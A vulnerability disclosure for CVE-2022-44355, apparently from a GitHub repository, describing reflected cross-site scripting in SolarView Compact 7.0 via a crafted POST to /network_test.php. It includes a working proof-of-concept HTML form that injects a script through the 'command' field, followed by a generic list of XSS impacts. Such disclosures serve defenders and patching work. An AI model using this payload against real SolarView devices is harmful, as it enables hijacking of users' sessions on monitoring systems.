Headline
CVE-2022-44355: Vulns/SolarView Compact XSS up to 7.0.md at main · strik3r0x1/Vulns
SolarView Compact 7.0 is vulnerable to Cross-site Scripting (XSS) via /network_test.php.
Cross-site Scripting (XSS) in all SolarView Compact v7.00****Description
Cross-site Scripting (XSS) - Reflected in SolarView Compact v7.0 via crafted POST request to /network_test.php
POC
When someone opens this html file, or we can add it into our website, XSS will execute.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://{HOST}/network_test.php" method="POST">
<input type="hidden" name="host" value="127.0.0.1" />
<input type="hidden" name="command" value="test'<script>alert('XSS_By_Strik3r')</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact
The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. If an attacker can control a script that is executed in the victim’s browser, then they can typically fully compromise that user. Amongst other things, the attacker can:
- Perform any action within the application that the user can perform.
- View any information that the user is able to view.
- Modify any information that the user is able to modify.
- Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.